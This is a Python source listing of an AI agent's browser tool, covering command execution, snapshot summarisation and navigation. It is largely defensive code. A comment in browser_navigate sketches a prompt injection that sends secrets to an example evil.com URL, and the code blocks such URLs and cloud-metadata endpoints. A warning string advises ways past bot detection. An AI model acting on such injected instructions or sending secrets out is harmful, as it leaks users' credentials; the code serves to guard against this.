1778
+ args = args or []
1779
+
1780
+ # Build the command
1781
+ try:
1782
+ browser_cmd = _find_agent_browser()
1783
+ except FileNotFoundError as e:
1784
+ logger.warning("agent-browser CLI not found: %s", e)
1785
+ return {"success": False, "error": str(e)}
1786
+
1787
+ if _requires_real_termux_browser_install(browser_cmd):
1788
+ error = _termux_browser_install_error()
1789
+ logger.warning("browser command blocked on Termux: %s", error)
1790
+ return {"success": False, "error": error}
1791
+
1792
+ # Local mode with no Chromium on disk: fail fast with an actionable
1793
+ # message instead of hanging for _command_timeout seconds per call.
1794
+ # Skip when engine=lightpanda — LP doesn't need Chromium for navigation.
1795
+ if _is_local_mode() and not _chromium_installed() and _get_browser_engine() != "lightpanda":
1796
+ if _running_in_docker():
1797
+ hint = (
1798
+ "Chromium browser is missing. You're running in Docker — pull "
1799
+ "the latest image to get the bundled Chromium: "
1800
+ "docker pull ghcr.io/nousresearch/hermes-agent:latest"
1801
+ )
1802
+ else:
1803
+ hint = (
1804
+ "Chromium browser is missing. Install it with: "
1805
+ "npx agent-browser install --with-deps "
1806
+ "(or: npx playwright install --with-deps chromium)"
1807
+ )
1808
+ logger.warning("browser command blocked: %s", hint)
1809
+ return {"success": False, "error": hint}
1810
+
1811
+ from tools.interrupt import is_interrupted
1812
+ if is_interrupted():
1813
+ return {"success": False, "error": "Interrupted"}
1814
+
1815
+ # Get session info (creates Browserbase session with proxies if needed)
1816
+ try:
1817
+ session_info = _get_session_info(task_id)
1818
+ except Exception as e:
1819
+ logger.warning("Failed to create browser session for task=%s: %s", task_id, e)
1820
+ return {"success": False, "error": f"Failed to create browser session: {str(e)}"}
1821
+
1822
+ # Build the command with the appropriate backend flag.
1823
+ # Cloud mode: --cdp <websocket_url> connects to Browserbase.
1824
+ # Local mode: --session <name> launches a local headless Chromium.
1825
+ # The rest of the command (--json, command, args) is identical.
1826
+ if session_info.get("cdp_url"):
1827
+ # Cloud mode — connect to remote Browserbase browser via CDP
1828
+ # IMPORTANT: Do NOT use --session with --cdp. In agent-browser >=0.13,
1829
+ # --session creates a local browser instance and silently ignores --cdp.
1830
+ backend_args = ["--cdp", session_info["cdp_url"]]
1831
+ else:
1832
+ # Local mode — launch a headless Chromium instance
1833
+ backend_args = ["--session", session_info["session_name"]]
1834
+
1835
+ # Lightpanda engine injection (local mode only, agent-browser v0.25.3+).
1836
+ # Use the resolved session backend rather than global cloud-provider state:
1837
+ # hybrid private-URL routing can create a local sidecar while a cloud
1838
+ # provider remains configured for public URLs.
1839
+ engine = _engine_override or _get_browser_engine()
1840
+ if engine != "auto" and not _is_camofox_mode() and not session_info.get("cdp_url"):
1841
+ backend_args += ["--engine", engine]
1842
+
1843
+ # Keep concrete executable paths intact, even when they contain spaces.
1844
+ # Only the synthetic npx fallback needs to expand into multiple argv items.
1845
+ # shutil.which resolves npx → npx.cmd on Windows; bare "npx" stays on POSIX.
1846
+ if browser_cmd == "npx agent-browser":
1847
+ _npx_bin = shutil.which("npx") or "npx"
1848
+ cmd_prefix = [_npx_bin, "agent-browser"]
1849
+ else:
1850
+ cmd_prefix = [browser_cmd]
1851
+
1852
+ cmd_parts = cmd_prefix + backend_args + [
1853
+ "--json",
1854
+ command
1855
+ ] + args
1856
+
1857
+ try:
1858
+ # Give each task its own socket directory to prevent concurrency conflicts.
1859
+ # Without this, parallel workers fight over the same default socket path,
1860
+ # causing "Failed to create socket directory: Permission denied" errors.
1861
+ task_socket_dir = os.path.join(
1862
+ _socket_safe_tmpdir(),
1863
+ f"agent-browser-{session_info['session_name']}"
1864
+ )
1865
+ os.makedirs(task_socket_dir, mode=0o700, exist_ok=True)
1866
+ # Record this hermes PID as the session owner (cross-process safe
1867
+ # orphan detection — see _write_owner_pid).
1868
+ _write_owner_pid(task_socket_dir, session_info['session_name'])
1869
+ logger.debug("browser cmd=%s task=%s socket_dir=%s (%d chars)",
1870
+ command, task_id, task_socket_dir, len(task_socket_dir))
1871
+
1872
+ browser_env = {**os.environ}
1873
+
1874
+ # Ensure subprocesses inherit the same browser-specific PATH fallbacks
1875
+ # used during CLI discovery.
1876
+ browser_env["PATH"] = _merge_browser_path(browser_env.get("PATH", ""))
1877
+ browser_env["AGENT_BROWSER_SOCKET_DIR"] = task_socket_dir
1878
+
1879
+ # Tell the agent-browser daemon to self-terminate after being idle
1880
+ # for our configured inactivity timeout. This is the daemon-side
1881
+ # counterpart to our Python-side _cleanup_inactive_browser_sessions
1882
+ # — the daemon kills itself and its Chrome children when no CLI
1883
+ # commands arrive within the window. Added in agent-browser 0.24.
1884
+ if "AGENT_BROWSER_IDLE_TIMEOUT_MS" not in browser_env:
1885
+ idle_ms = str(BROWSER_SESSION_INACTIVITY_TIMEOUT * 1000)
1886
+ browser_env["AGENT_BROWSER_IDLE_TIMEOUT_MS"] = idle_ms
1887
+
1888
+ # Inject --no-sandbox when needed (issue #15765):
1889
+ # - Running as root: Chromium always refuses to start without it
1890
+ # - Ubuntu 23.10+ / AppArmor systems: unprivileged user namespaces
1891
+ # are restricted, causing Chromium to exit with "No usable sandbox"
1892
+ # even for non-root users running under systemd or containers.
1893
+ # Honour either the legacy AGENT_BROWSER_CHROME_FLAGS (never consumed by
1894
+ # agent-browser itself, but documented in older notes) or the real
1895
+ # AGENT_BROWSER_ARGS — if the user pre-sets either, don't overwrite it.
1896
+ if (
1897
+ "AGENT_BROWSER_ARGS" not in browser_env
1898
+ and "AGENT_BROWSER_CHROME_FLAGS" not in browser_env
1899
+ ):
1900
+ _needs_sandbox_bypass = False
1901
+ if hasattr(os, "geteuid") and os.geteuid() == 0:
1902
+ _needs_sandbox_bypass = True
1903
+ logger.debug("browser: running as root — injecting --no-sandbox")
1904
+ else:
1905
+ # Detect AppArmor user namespace restrictions (Ubuntu 23.10+)
1906
+ _userns_restrict = "/proc/sys/kernel/apparmor_restrict_unprivileged_userns"
1907
+ try:
1908
+ with open(_userns_restrict, encoding="utf-8") as _f:
1909
+ if _f.read().strip() == "1":
1910
+ _needs_sandbox_bypass = True
1911
+ logger.debug(
1912
+ "browser: AppArmor userns restrictions detected — "
1913
+ "injecting --no-sandbox"
1914
+ )
1915
+ except OSError:
1916
+ pass
1917
+ if _needs_sandbox_bypass:
1918
+ browser_env["AGENT_BROWSER_ARGS"] = (
1919
+ "--no-sandbox,--disable-dev-shm-usage"
1920
+ )
1921
+
1922
+ # Use temp files for stdout/stderr instead of pipes.
1923
+ # agent-browser starts a background daemon that inherits file
1924
+ # descriptors. With capture_output=True (pipes), the daemon keeps
1925
+ # the pipe fds open after the CLI exits, so communicate() never
1926
+ # sees EOF and blocks until the timeout fires.
1927
+ stdout_path = os.path.join(task_socket_dir, f"_stdout_{command}")
1928
+ stderr_path = os.path.join(task_socket_dir, f"_stderr_{command}")
1929
+ stdout_fd = os.open(stdout_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
1930
+ stderr_fd = os.open(stderr_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
1931
+ try:
1932
+ # See matching comment at the other Popen site above — on
1933
+ # Windows we put agent-browser in its own process group, force
1934
+ # STARTF_USESTDHANDLES so CreateProcess hands the child ONLY our
1935
+ # three explicit handles (no leaked parent-console handles to
1936
+ # confuse the Rust binary's daemon-spawn), and close_fds=True to
1937
+ # block inheritance of everything else.
1938
+ _popen_extra: dict = {}
1939
+ if os.name == "nt":
1940
+ # See matching block at the other Popen site — CREATE_NO_WINDOW
1941
+ # only, NO CREATE_NEW_PROCESS_GROUP (cancels asyncio loop task
1942
+ # on Python 3.11 Windows → KeyboardInterrupt in CLI MainThread).
1943
+ _CREATE_NO_WINDOW = 0x08000000
1944
+ _popen_extra["creationflags"] = _CREATE_NO_WINDOW
1945
+ _popen_extra["close_fds"] = True
1946
+ _si = subprocess.STARTUPINFO()
1947
+ _si.dwFlags |= subprocess.STARTF_USESTDHANDLES
1948
+ _popen_extra["startupinfo"] = _si
1949
+ proc = subprocess.Popen(
1950
+ cmd_parts,
1951
+ stdout=stdout_fd,
1952
+ stderr=stderr_fd,
1953
+ stdin=subprocess.DEVNULL,
1954
+ env=browser_env,
1955
+ **_popen_extra,
1956
+ )
1957
+ finally:
1958
+ os.close(stdout_fd)
1959
+ os.close(stderr_fd)
1960
+
1961
+ try:
1962
+ proc.wait(timeout=timeout)
1963
+ except subprocess.TimeoutExpired:
1964
+ proc.kill()
1965
+ proc.wait()
1966
+ logger.warning("browser '%s' timed out after %ds (task=%s, socket_dir=%s)",
1967
+ command, timeout, task_id, task_socket_dir)
1968
+ result = {"success": False, "error": f"Command timed out after {timeout} seconds"}
1969
+ # Fall through to fallback check below
1970
+ else:
1971
+ with open(stdout_path, "r", encoding="utf-8") as f:
1972
+ stdout = f.read()
1973
+ with open(stderr_path, "r", encoding="utf-8") as f:
1974
+ stderr = f.read()
1975
+ returncode = proc.returncode
1976
+
1977
+ # Clean up temp files (best-effort)
1978
+ for p in (stdout_path, stderr_path):
1979
+ try:
1980
+ os.unlink(p)
1981
+ except OSError:
1982
+ pass
1983
+
1984
+ # Log stderr for diagnostics — use warning level on failure so it's visible
1985
+ if stderr and stderr.strip():
1986
+ level = logging.WARNING if returncode != 0 else logging.DEBUG
1987
+ logger.log(level, "browser '%s' stderr: %s", command, stderr.strip()[:500])
1988
+
1989
+ stdout_text = stdout.strip()
1990
+
1991
+ # Empty output with rc=0 is a broken state — treat as failure rather
1992
+ # than silently returning {"success": True, "data": {}}.
1993
+ # Some commands (close, record) legitimately return no output.
1994
+ if not stdout_text and returncode == 0 and command not in _EMPTY_OK_COMMANDS:
1995
+ logger.warning("browser '%s' returned empty output (rc=0)", command)
1996
+ result = {"success": False, "error": f"Browser command '{command}' returned no output"}
1997
+ elif stdout_text:
1998
+ try:
1999
+ parsed = json.loads(stdout_text)
2000
+ # Warn if snapshot came back empty (common sign of daemon/CDP issues)
2001
+ if command == "snapshot" and parsed.get("success"):
2002
+ snap_data = parsed.get("data", {})
2003
+ if not snap_data.get("snapshot") and not snap_data.get("refs"):
2004
+ logger.warning("snapshot returned empty content. "
2005
+ "Possible stale daemon or CDP connection issue. "
2006
+ "returncode=%s", returncode)
2007
+ result = parsed
2008
+ except json.JSONDecodeError:
2009
+ raw = stdout_text[:2000]
2010
+ logger.warning("browser '%s' returned non-JSON output (rc=%s): %s",
2011
+ command, returncode, raw[:500])
2012
+
2013
+ if command == "screenshot":
2014
+ stderr_text = (stderr or "").strip()
2015
+ combined_text = "\n".join(
2016
+ part for part in [stdout_text, stderr_text] if part
2017
+ )
2018
+ recovered_path = _extract_screenshot_path_from_text(combined_text)
2019
+
2020
+ if recovered_path and Path(recovered_path).exists():
2021
+ logger.info(
2022
+ "browser 'screenshot' recovered file from non-JSON output: %s",
2023
+ recovered_path,
2024
+ )
2025
+ result = {
2026
+ "success": True,
2027
+ "data": {
2028
+ "path": recovered_path,
2029
+ "raw": raw,
2030
+ },
2031
+ }
2032
+ else:
2033
+ result = {
2034
+ "success": False,
2035
+ "error": f"Non-JSON output from agent-browser for '{command}': {raw}"
2036
+ }
2037
+ else:
2038
+ result = {
2039
+ "success": False,
2040
+ "error": f"Non-JSON output from agent-browser for '{command}': {raw}"
2041
+ }
2042
+ elif returncode != 0:
2043
+ # Check for errors
2044
+ error_msg = stderr.strip() if stderr else f"Command failed with code {returncode}"
2045
+ logger.warning("browser '%s' failed (rc=%s): %s", command, returncode, error_msg[:300])
2046
+ result = {"success": False, "error": error_msg}
2047
+ else:
2048
+ result = {"success": True, "data": {}}
2049
+
2050
+ except Exception as e:
2051
+ logger.warning("browser '%s' exception: %s", command, e, exc_info=True)
2052
+ result = {"success": False, "error": str(e)}
2053
+
2054
+ # --- Lightpanda automatic Chrome fallback ---
2055
+ # If engine is lightpanda and the result looks broken, retry with Chrome.
2056
+ # This runs for ALL exit paths (timeout, empty, non-JSON, nonzero rc, parsed).
2057
+ fallback_reason = _lightpanda_fallback_reason(engine, command, result)
2058
+ if fallback_reason:
2059
+ logger.info(
2060
+ "Lightpanda fallback: retrying '%s' with Chrome (task=%s): %s",
2061
+ command,
2062
+ task_id,
2063
+ fallback_reason,
2064
+ )
2065
+ # For screenshots, use the dedicated Chrome fallback helper
2066
+ # (spins up a separate Chrome session to the same URL).
2067
+ if command == "screenshot":
2068
+ fallback_result = _chrome_fallback_screenshot(task_id, args or [], timeout)
2069
+ else:
2070
+ fallback_result = _run_chrome_fallback_command(task_id, command, args, timeout)
2071
+ return _annotate_lightpanda_fallback(fallback_result, fallback_reason)
2072
+
2073
+ return result
2074
+
2075
+
2076
+ def _extract_relevant_content(
2077
+ snapshot_text: str,
2078
+ user_task: Optional[str] = None
2079
+ ) -> str:
2080
+ """Use LLM to extract relevant content from a snapshot based on the user's task.
2081
+
2082
+ Falls back to simple truncation when no auxiliary text model is configured.
2083
+ """
2084
+ if user_task:
2085
+ extraction_prompt = (
2086
+ f"You are a content extractor for a browser automation agent.\n\n"
2087
+ f"The user's task is: {user_task}\n\n"
2088
+ f"Given the following page snapshot (accessibility tree representation), "
2089
+ f"extract and summarize the most relevant information for completing this task. Focus on:\n"
2090
+ f"1. Interactive elements (buttons, links, inputs) that might be needed\n"
2091
+ f"2. Text content relevant to the task (prices, descriptions, headings, important info)\n"
2092
+ f"3. Navigation structure if relevant\n\n"
2093
+ f"Keep ref IDs (like [ref=e5]) for interactive elements so the agent can use them.\n\n"
2094
+ f"Page Snapshot:\n{snapshot_text}\n\n"
2095
+ f"Provide a concise summary that preserves actionable information and relevant content."
2096
+ )
2097
+ else:
2098
+ extraction_prompt = (
2099
+ f"Summarize this page snapshot, preserving:\n"
2100
+ f"1. All interactive elements with their ref IDs (like [ref=e5])\n"
2101
+ f"2. Key text content and headings\n"
2102
+ f"3. Important information visible on the page\n\n"
2103
+ f"Page Snapshot:\n{snapshot_text}\n\n"
2104
+ f"Provide a concise summary focused on interactive elements and key content."
2105
+ )
2106
+
2107
+ # Redact secrets from snapshot before sending to auxiliary LLM.
2108
+ # Without this, a page displaying env vars or API keys would leak
2109
+ # secrets to the extraction model before run_agent.py's general
2110
+ # redaction layer ever sees the tool result.
2111
+ from agent.redact import redact_sensitive_text
2112
+ extraction_prompt = redact_sensitive_text(extraction_prompt)
2113
+
2114
+ try:
2115
+ call_kwargs = {
2116
+ "task": "web_extract",
2117
+ "messages": [{"role": "user", "content": extraction_prompt}],
2118
+ "max_tokens": 4000,
2119
+ "temperature": 0.1,
2120
+ }
2121
+ model = _get_extraction_model()
2122
+ if model:
2123
+ call_kwargs["model"] = model
2124
+ response = call_llm(**call_kwargs)
2125
+ extracted = (response.choices[0].message.content or "").strip() or _truncate_snapshot(snapshot_text)
2126
+ # Redact any secrets the auxiliary LLM may have echoed back.
2127
+ return redact_sensitive_text(extracted)
2128
+ except Exception:
2129
+ return _truncate_snapshot(snapshot_text)
2130
+
2131
+
2132
+ def _truncate_snapshot(snapshot_text: str, max_chars: int = 8000) -> str:
2133
+ """Structure-aware truncation for snapshots.
2134
+
2135
+ Cuts at line boundaries so that accessibility tree elements are never
2136
+ split mid-line, and appends a note telling the agent how much was
2137
+ omitted.
2138
+
2139
+ Args:
2140
+ snapshot_text: The snapshot text to truncate
2141
+ max_chars: Maximum characters to keep
2142
+
2143
+ Returns:
2144
+ Truncated text with indicator if truncated
2145
+ """
2146
+ if len(snapshot_text) <= max_chars:
2147
+ return snapshot_text
2148
+
2149
+ lines = snapshot_text.split('\n')
2150
+ result: list[str] = []
2151
+ chars = 0
2152
+ for line in lines:
2153
+ if chars + len(line) + 1 > max_chars - 80: # reserve space for note
2154
+ break
2155
+ result.append(line)
2156
+ chars += len(line) + 1
2157
+ remaining = len(lines) - len(result)
2158
+ if remaining > 0:
2159
+ result.append(f'\n[... {remaining} more lines truncated, use browser_snapshot for full content]')
2160
+ return '\n'.join(result)
2161
+
2162
+
2163
+ # ============================================================================
2164
+ # Browser Tool Functions
2165
+ # ============================================================================
2166
+
2167
+ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
2168
+ """
2169
+ Navigate to a URL in the browser.
2170
+
2171
+ Args:
2172
+ url: The URL to navigate to
2173
+ task_id: Task identifier for session isolation
2174
+
2175
+ Returns:
2176
+ JSON string with navigation result (includes stealth features info on first nav)
2177
+ """
2178
+ # Secret exfiltration protection — block URLs that embed API keys or
2179
+ # tokens in query parameters. A prompt injection could trick the agent
2180
+ # into navigating to https://evil.com/steal?key=sk-ant-... to exfil secrets.
2181
+ # Also check URL-decoded form to catch %2D encoding tricks (e.g. sk%2Dant%2D...).
2182
+ import urllib.parse
2183
+ from agent.redact import _PREFIX_RE
2184
+ url_decoded = urllib.parse.unquote(url)
2185
+ if _PREFIX_RE.search(url) or _PREFIX_RE.search(url_decoded):
2186
+ return json.dumps({
2187
+ "success": False,
2188
+ "error": "Blocked: URL contains what appears to be an API key or token. "
2189
+ "Secrets must not be sent in URLs.",
2190
+ })
2191
+
2192
+ # SSRF protection — block private/internal addresses before navigating.
2193
+ # Skipped for local backends (Camofox, headless Chromium without a cloud
2194
+ # provider) because the agent already has full local network access via
2195
+ # the terminal tool. Also skipped when hybrid routing will auto-spawn a
2196
+ # local Chromium sidecar for this URL (cloud provider configured +
2197
+ # private URL + ``browser.auto_local_for_private_urls`` enabled) — the
2198
+ # cloud provider never sees the URL in that case. Can also be opted
2199
+ # out globally via ``browser.allow_private_urls`` in config.
2200
+ effective_task_id = task_id or "default"
2201
+ nav_session_key = _navigation_session_key(effective_task_id, url)
2202
+ auto_local_this_nav = _is_local_sidecar_key(nav_session_key)
2203
+
2204
+ # Always-blocked floor: cloud metadata / IMDS endpoints are denied
2205
+ # regardless of backend, hybrid routing, or allow_private_urls.
2206
+ # There's no legitimate agent use case for navigating to
2207
+ # 169.254.169.254 / metadata.google.internal / ECS task metadata
2208
+ # via a browser, and routing those to a local Chromium sidecar
2209
+ # on an EC2/GCP/Azure host exfiltrates IAM credentials (#16234).
2210
+ if not _is_local_backend() and _is_always_blocked_url(url):
2211
+ return json.dumps({
2212
+ "success": False,
2213
+ "error": "Blocked: URL targets a cloud metadata endpoint",
2214
+ })
2215
+
2216
+ if (
2217
+ not _is_local_backend()
2218
+ and not auto_local_this_nav
2219
+ and not _allow_private_urls()
2220
+ and not _is_safe_url(url)
2221
+ ):
2222
+ return json.dumps({
2223
+ "success": False,
2224
+ "error": "Blocked: URL targets a private or internal address",
2225
+ })
2226
+
2227
+ # Website policy check — block before navigating
2228
+ blocked = check_website_access(url)
2229
+ if blocked:
2230
+ return json.dumps({
2231
+ "success": False,
2232
+ "error": blocked["message"],
2233
+ "blocked_by_policy": {"host": blocked["host"], "rule": blocked["rule"], "source": blocked["source"]},
2234
+ })
2235
+
2236
+ # Camofox backend — delegate after safety checks pass
2237
+ if _is_camofox_mode():
2238
+ from tools.browser_camofox import camofox_navigate
2239
+ return camofox_navigate(url, task_id)
2240
+
2241
+ if auto_local_this_nav:
2242
+ logger.info(
2243
+ "browser_navigate: auto-routing %s to local Chromium sidecar "
2244
+ "(cloud provider %s stays on cloud for public URLs; "
2245
+ "set browser.auto_local_for_private_urls: false to disable)",
2246
+ url,
2247
+ type(_get_cloud_provider()).__name__ if _get_cloud_provider() else "none",
2248
+ )
2249
+
2250
+ # Get session info to check if this is a new session
2251
+ # (will create one with features logged if not exists)
2252
+ session_info = _get_session_info(nav_session_key)
2253
+ is_first_nav = session_info.get("_first_nav", True)
2254
+
2255
+ # Auto-start recording if configured and this is first navigation
2256
+ if is_first_nav:
2257
+ session_info["_first_nav"] = False
2258
+ _maybe_start_recording(nav_session_key)
2259
+
2260
+ result = _run_browser_command(nav_session_key, "open", [url], timeout=max(_get_command_timeout(), 60))
2261
+
2262
+ # Remember which session served this nav so snapshot/click/fill/...
2263
+ # on the same task_id hit it (critical when hybrid routing has both a
2264
+ # cloud session and a local sidecar alive concurrently).
2265
+ _last_active_session_key[effective_task_id] = nav_session_key
2266
+
2267
+ if result.get("success"):
2268
+ data = result.get("data", {})
2269
+ title = data.get("title", "")
2270
+ final_url = data.get("url", url)
2271
+
2272
+ # Post-redirect SSRF check — if the browser followed a redirect to a
2273
+ # private/internal address, block the result so the model can't read
2274
+ # internal content via subsequent browser_snapshot calls.
2275
+ # Skipped for local backends (same rationale as the pre-nav check),
2276
+ # and for the hybrid local sidecar (we're already on a local browser
2277
+ # hitting a private URL by design).
2278
+ # Always-blocked floor (cloud metadata / IMDS) is enforced even
2279
+ # when auto_local_this_nav is true — see pre-nav check for
2280
+ # rationale (#16234).
2281
+ if (
2282
+ not _is_local_backend()
2283
+ and final_url
2284
+ and final_url != url
2285
+ and _is_always_blocked_url(final_url)
2286
+ ):
2287
+ _run_browser_command(nav_session_key, "open", ["about:blank"], timeout=10)
2288
+ return json.dumps({
2289
+ "success": False,
2290
+ "error": "Blocked: redirect landed on a cloud metadata endpoint",
2291
+ })
2292
+
2293
+ if (
2294
+ not _is_local_backend()
2295
+ and not auto_local_this_nav
2296
+ and not _allow_private_urls()
2297
+ and final_url and final_url != url and not _is_safe_url(final_url)
2298
+ ):
2299
+ # Navigate away to a blank page to prevent snapshot leaks
2300
+ _run_browser_command(nav_session_key, "open", ["about:blank"], timeout=10)
2301
+ return json.dumps({
2302
+ "success": False,
2303
+ "error": "Blocked: redirect landed on a private/internal address",
2304
+ })
2305
+
2306
+ response = {
2307
+ "success": True,
2308
+ "url": final_url,
2309
+ "title": title
2310
+ }
2311
+ _copy_fallback_warning(response, result)
2312
+
2313
+ # Detect common "blocked" page patterns from title/url
2314
+ blocked_patterns = [
2315
+ "access denied", "access to this page has been denied",
2316
+ "blocked", "bot detected", "verification required",
2317
+ "please verify", "are you a robot", "captcha",
2318
+ "cloudflare", "ddos protection", "checking your browser",
2319
+ "just a moment", "attention required"
2320
+ ]
2321
+ title_lower = title.lower()
2322
+
2323
+ if any(pattern in title_lower for pattern in blocked_patterns):
2324
+ response["bot_detection_warning"] = (
2325
+ f"Page title '{title}' suggests bot detection. The site may have blocked this request. "
2326
+ "Options: 1) Try adding delays between actions, 2) Access different pages first, "
2327
+ "3) Enable advanced stealth (BROWSERBASE_ADVANCED_STEALTH=true, requires Scale plan), "
2328
+ "4) Some sites have very aggressive bot detection that may be unavoidable."
2329
+ )
2330
+
2331
+ # Include feature info on first navigation so model knows what's active
2332
+ if is_first_nav and "features" in session_info:
2333
+ features = session_info["features"]
2334
+ active_features = [k for k, v in features.items() if v]
2335
+ if not features.get("proxies"):
2336
+ response["stealth_warning"] = (
2337
+ "Running WITHOUT residential proxies. Bot detection may be more aggressive. "
2338
+ "Consider upgrading Browserbase plan for proxy support."
2339
+ )
2340
+ response["stealth_features"] = active_features
2341
+
2342
+ # Auto-take a compact snapshot so the model can act immediately
2343
+ # without a separate browser_snapshot call.
2344
+ try:
2345
+ snap_result = _run_browser_command(nav_session_key, "snapshot", ["-c"])
2346
+ if snap_result.get("success"):
2347
+ snap_data = snap_result.get("data", {})
2348
+ snapshot_text = snap_data.get("snapshot", "")
2349
+ refs = snap_data.get("refs", {})
2350
+ if len(snapshot_text) > SNAPSHOT_SUMMARIZE_THRESHOLD:
2351
+ snapshot_text = _truncate_snapshot(snapshot_text)
2352
+ response["snapshot"] = snapshot_text
2353
+ response["element_count"] = len(refs) if refs else 0
2354
+ if snap_result.get("fallback_warning") and not response.get("fallback_warning"):
2355
+ _copy_fallback_warning(response, snap_result)
2356
+ except Exception as e:
2357
+ logger.debug("Auto-snapshot after navigate failed: %s", e)
2358
+
2359
+ return json.dumps(response, ensure_ascii=False)
2360
+ else:
2361
+ return json.dumps({
2362
+ "success": False,
2363
+ "error": result.get("error", "Navigation failed")
2364
+ }, ensure_ascii=False)
2365
+
2366
+
2367
+ def browser_snapshot(
2368
+ full: bool = False,
2369
+ task_id: Optional[str] = None,
2370
+ user_task: Optional[str] = None
2371
+ ) -> str:
2372
+ """
2373
+ Get a text-based snapshot of the current page's accessibility tree.
2374
+
2375
+ Args:
2376
+ full: If True, return complete snapshot. If False, return compact view.
2377
+ task_id: Task identifier for session isolation
2378
+ user_task: The user's current task (for task-aware extraction)
2379
+
2380
+ Returns:
2381
+ JSON string with page snapshot
2382
+ """
2383
+ if _is_camofox_mode():
2384
+ from tools.browser_camofox import camofox_snapshot
2385
+ return camofox_snapshot(full, task_id, user_task)
2386
+
2387
+ effective_task_id = _last_session_key(task_id or "default")
2388
+
2389
+ # Build command args based on full flag
2390
+ args = []
2391
+ if not full:
2392
+ args.extend(["-c"]) # Compact mode
2393
+
2394
+ result = _run_browser_command(effective_task_id, "snapshot", args)
2395
+
2396
+ if result.get("success"):
2397
+ data = result.get("data", {})
2398
+ snapshot_text = data.get("snapshot", "")
2399
+ refs = data.get("refs", {})
2400
+
2401
+ # Check if snapshot needs summarization
2402
+ if len(snapshot_text) > SNAPSHOT_SUMMARIZE_THRESHOLD and user_task:
2403
+ snapshot_text = _extract_relevant_content(snapshot_text, user_task)
2404
+ elif len(snapshot_text) > SNAPSHOT_SUMMARIZE_THRESHOLD:
2405
+ snapshot_text = _truncate_snapshot(snapshot_text)
2406
+
2407
+ response = {
2408
+ "success": True,
2409
+ "snapshot": snapshot_text,
2410
+ "element_count": len(refs) if refs else 0
2411
+ }
2412
+ _copy_fallback_warning(response, result)
2413
+
2414
+ # Merge supervisor state (pending dialogs + frame tree) when a CDP
2415
+ # supervisor is attached to this task. No-op otherwise. See
2416
+ # website/docs/developer-guide/browser-supervisor.md.
2417
+ try:
2418
+ from tools.browser_supervisor import SUPERVISOR_REGISTRY # type: ignore[import-not-found]
2419
+ _supervisor = SUPERVISOR_REGISTRY.get(effective_task_id)
2420
+ if _supervisor is not None:
2421
+ _sv_snap = _supervisor.snapshot()
2422
+ if _sv_snap.active:
2423
+ response.update(_sv_snap.to_dict())
2424
+ except Exception as _sv_exc:
2425
+ logger.debug("supervisor snapshot merge failed: %s", _sv_exc)
2426
+
2427
+ return json.dumps(response, ensure_ascii=False)
2428
+ else:
2429
+ response = {
2430
+ "success": False,
2431
+ "error": result.get("error", "Failed to get snapshot")
2432
+ }
2433
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2434
+
2435
+
2436
+ def browser_click(ref: str, task_id: Optional[str] = None) -> str:
2437
+ """
2438
+ Click on an element.
2439
+
2440
+ Args:
2441
+ ref: Element reference (e.g., "@e5")
2442
+ task_id: Task identifier for session isolation
2443
+
2444
+ Returns:
2445
+ JSON string with click result
2446
+ """
2447
+ if _is_camofox_mode():
2448
+ from tools.browser_camofox import camofox_click
2449
+ return camofox_click(ref, task_id)
2450
+
2451
+ effective_task_id = _last_session_key(task_id or "default")
2452
+
2453
+ # Ensure ref starts with @
2454
+ if not ref.startswith("@"):
2455
+ ref = f"@{ref}"
2456
+
2457
+ result = _run_browser_command(effective_task_id, "click", [ref])
2458
+
2459
+ if result.get("success"):
2460
+ response = {
2461
+ "success": True,
2462
+ "clicked": ref
2463
+ }
2464
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2465
+ else:
2466
+ response = {
2467
+ "success": False,
2468
+ "error": result.get("error", f"Failed to click {ref}")
2469
+ }
2470
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2471
+
2472
+
2473
+ def browser_type(ref: str, text: str, task_id: Optional[str] = None) -> str:
2474
+ """
2475
+ Type text into an input field.
2476
+
2477
+ Args:
2478
+ ref: Element reference (e.g., "@e3")
2479
+ text: Text to type
2480
+ task_id: Task identifier for session isolation
2481
+
2482
+ Returns:
2483
+ JSON string with type result
2484
+ """
2485
+ if _is_camofox_mode():
2486
+ from tools.browser_camofox import camofox_type
2487
+ return camofox_type(ref, text, task_id)
2488
+
2489
+ effective_task_id = _last_session_key(task_id or "default")
2490
+
2491
+ # Ensure ref starts with @
2492
+ if not ref.startswith("@"):
2493
+ ref = f"@{ref}"
2494
+
2495
+ # Use fill command (clears then types)
2496
+ result = _run_browser_command(effective_task_id, "fill", [ref, text])
2497
+
2498
+ if result.get("success"):
2499
+ response = {
2500
+ "success": True,
2501
+ "typed": text,
2502
+ "element": ref
2503
+ }
2504
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2505
+ else:
2506
+ response = {
2507
+ "success": False,
2508
+ "error": result.get("error", f"Failed to type into {ref}")
2509
+ }
2510
+ return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
2511
+
2512
+
2513
+ def browser_scroll(direction: str, task_id: Optional[str] = None) -> str:
2514
+ """
2515
+ Scroll the page.
2516
+
2517
+ Args:
2518
+ direction: "up" or "down"
2519
+ task_id: Task identifier for session isolation
2520
+
2521
+ Returns:
2522
+ JSON string with scroll result
2523
+ """
2524
+ # Validate direction
2525
+ if direction not in {"up", "down"}:
2526
+ return json.dumps({
2527
+ "success": False,
2528
+ "error": f"Invalid direction '{direction}'. Use 'up' or 'down'."
2529
+ }, ensure_ascii=False)
2530
+
2531
+ # Single scroll with pixel amount instead of 5x subprocess calls.
2532
+ # agent-browser supports: agent-browser scroll down 500
2533
+ # ~500px is roughly half a viewport of travel.
2534
+ _SCROLL_PIXELS = 500
2535
+
2536
+ if _is_camofox_mode():
2537
+ from tools.browser_camofox import camofox_scroll
2538
+ # Camofox REST API doesn't support pixel args; use repeated calls
2539
+ _SCROLL_REPEATS = 5
2540
+ result = None
2541
+ for _ in range(_SCROLL_REPEATS):
2542
+ result = camofox_scroll(direction, task_id)
2543
+ return result
2544
+
2545
+ effective_task_id = _last_session_key(task_id or "default")
2546
+
2547
+ result = _run_browser_command(effective_task_id, "scroll", [direction, str(_SCROLL_PIXELS)])
2548
+ if not result.get("success"):
2549
+ response = {
2550
+ "success": False,
2551
+ "error": result.get("error", f"Failed to scroll {direction}")
2552
+ }
2553
